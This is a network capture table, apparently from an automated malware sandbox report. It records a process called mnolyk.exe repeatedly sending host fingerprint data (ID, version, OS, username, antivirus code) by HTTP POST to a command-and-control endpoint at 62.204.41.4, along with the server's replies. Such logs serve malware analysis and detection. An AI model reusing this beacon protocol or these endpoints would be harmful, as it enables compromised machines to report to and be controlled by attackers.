210	192.168.2.7	49905	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:57.664789915 CET	325	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:57.728919029 CET	325	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.7	49906	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:58.951741934 CET	326	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:59.014985085 CET	326	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.7	49907	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:59.344645023 CET	327	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:59.408628941 CET	327	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.7	49908	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:59.582545042 CET	328	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:59.646224022 CET	328	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.7	49909	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:59.832612991 CET	329	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:59.896001101 CET	329	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.7	49910	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:00.070255041 CET	330	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:00.134892941 CET	330	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.7	49911	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:00.309876919 CET	331	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:00.373950958 CET	331	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.7	49912	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:00.559984922 CET	332	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:00.624990940 CET	332	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.7	49913	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:00.811570883 CET	333	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:00.876718044 CET	333	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.7	49914	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:01.055768967 CET	334	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:01.122400999 CET	334	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49716	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:06.915416002 CET	126	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:06.978020906 CET	126	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.7	49915	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:01.310914993 CET	335	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:01.375654936 CET	335	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.7	49916	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:01.554969072 CET	336	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:01.617985010 CET	336	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.7	49917	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:01.811544895 CET	337	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:01.876722097 CET	337	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.7	49918	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:02.062413931 CET	338	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:02.127065897 CET	338	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.7	49919	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:02.303850889 CET	339	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:02.370109081 CET	339	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.7	49920	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:02.536242008 CET	340	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:02.599940062 CET	340	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.7	49921	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:02.784331083 CET	341	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:02.846324921 CET	341	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.7	49922	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:03.022274971 CET	342	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:03.090607882 CET	342	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.7	49923	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:03.274770021 CET	343	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:03.337419033 CET	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.7	49924	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:03.524087906 CET	344	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:03.586734056 CET	344	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49717	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:07.153402090 CET	127	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
